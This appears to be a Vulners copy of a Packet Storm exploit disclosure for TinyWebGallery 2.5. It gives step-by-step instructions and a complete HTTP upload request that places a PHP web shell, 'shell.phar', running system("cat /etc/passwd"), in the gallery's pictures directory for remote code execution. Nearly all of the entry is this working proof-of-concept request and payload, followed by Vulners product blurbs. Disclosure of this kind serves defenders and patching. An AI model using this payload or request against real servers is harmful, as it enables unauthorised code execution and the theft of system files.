Lucene search
K

TinyWebGallery 2.5 Shell Upload

🗓️ 24 May 2023 00:00:00Reported by Mirabbas AgalarovType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 365 Views

TinyWebGallery 2.5 RCE via .phar file uploa

Code
`#Exploit Title: TinyWebGallery v2.5 - Remote Code Execution (RCE)  
#Application: TinyWebGallery  
#Version: v2.5  
#Bugs: RCE  
#Technology: PHP  
#Vendor URL: http://www.tinywebgallery.com/  
#Software Link: https://www.tinywebgallery.com/download.php?tinywebgallery=latest  
#Date of found: 07-05-2023  
#Author: Mirabbas Ağalarov  
#Tested on: Linux   
  
2. Technical Details & POC  
========================================  
steps:   
  
1. Go to upload image http://localhost/twg25/admin/index.php?action=upload&sview=no&menu=true  
2. upload .phar file  
payload: payload: <?php echo system("cat /etc/passwd"); ?>  
3. go to file link   
  
  
poc request:  
  
  
POST /twg25/admin/index.php?action=upload&dir=&order=name&srt=yes&tview=no&sview=no&lang=en HTTP/1.1  
Host: localhost  
Content-Length: 2123  
Cache-Control: max-age=0  
sec-ch-ua: "Not:A-Brand";v="99", "Chromium";v="112"  
sec-ch-ua-mobile: ?0  
sec-ch-ua-platform: "Linux"  
Upgrade-Insecure-Requests: 1  
Origin: http://localhost  
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary53rZRhJinqaMm7Ip  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.138 Safari/537.36  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7  
Sec-Fetch-Site: same-origin  
Sec-Fetch-Mode: navigate  
Sec-Fetch-User: ?1  
Sec-Fetch-Dest: document  
Referer: http://localhost/twg25/admin/index.php?action=upload&sview=no&menu=true  
Accept-Encoding: gzip, deflate  
Accept-Language: en-US,en;q=0.9  
Cookie: PHPSESSID=qc7mfbthpf7tnf32a34p8l766k  
Connection: close  
  
------WebKitFormBoundary53rZRhJinqaMm7Ip  
Content-Disposition: form-data; name="token"  
  
b2ed5512107a625ef9d5688ced296c61  
------WebKitFormBoundary53rZRhJinqaMm7Ip  
Content-Disposition: form-data; name="MAX_FILE_SIZE"  
  
2097152  
------WebKitFormBoundary53rZRhJinqaMm7Ip  
Content-Disposition: form-data; name="confirm"  
  
true  
------WebKitFormBoundary53rZRhJinqaMm7Ip  
Content-Disposition: form-data; name="userfile[]"; filename="shell.phar"  
Content-Type: application/octet-stream  
  
<?php echo system("cat /etc/passwd"); ?>  
  
------WebKitFormBoundary53rZRhJinqaMm7Ip  
Content-Disposition: form-data; name="userfile[]"; filename=""  
Content-Type: application/octet-stream  
  
  
------WebKitFormBoundary53rZRhJinqaMm7Ip  
Content-Disposition: form-data; name="userfile[]"; filename=""  
Content-Type: application/octet-stream  
  
  
------WebKitFormBoundary53rZRhJinqaMm7Ip  
Content-Disposition: form-data; name="userfile[]"; filename=""  
Content-Type: application/octet-stream  
  
  
------WebKitFormBoundary53rZRhJinqaMm7Ip  
Content-Disposition: form-data; name="userfile[]"; filename=""  
Content-Type: application/octet-stream  
  
  
------WebKitFormBoundary53rZRhJinqaMm7Ip  
Content-Disposition: form-data; name="userfile[]"; filename=""  
Content-Type: application/octet-stream  
  
  
------WebKitFormBoundary53rZRhJinqaMm7Ip  
Content-Disposition: form-data; name="userfile[]"; filename=""  
Content-Type: application/octet-stream  
  
  
------WebKitFormBoundary53rZRhJinqaMm7Ip  
Content-Disposition: form-data; name="userfile[]"; filename=""  
Content-Type: application/octet-stream  
  
  
------WebKitFormBoundary53rZRhJinqaMm7Ip  
Content-Disposition: form-data; name="userfile[]"; filename=""  
Content-Type: application/octet-stream  
  
  
------WebKitFormBoundary53rZRhJinqaMm7Ip  
Content-Disposition: form-data; name="userfile[]"; filename=""  
Content-Type: application/octet-stream  
  
  
------WebKitFormBoundary53rZRhJinqaMm7Ip  
Content-Disposition: form-data; name="twgsize"  
  
100000  
------WebKitFormBoundary53rZRhJinqaMm7Ip  
Content-Disposition: form-data; name="twgquality"  
  
80  
------WebKitFormBoundary53rZRhJinqaMm7Ip--  
  
  
  
  
  
http://localhost/twg25/pictures/shell.phar  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation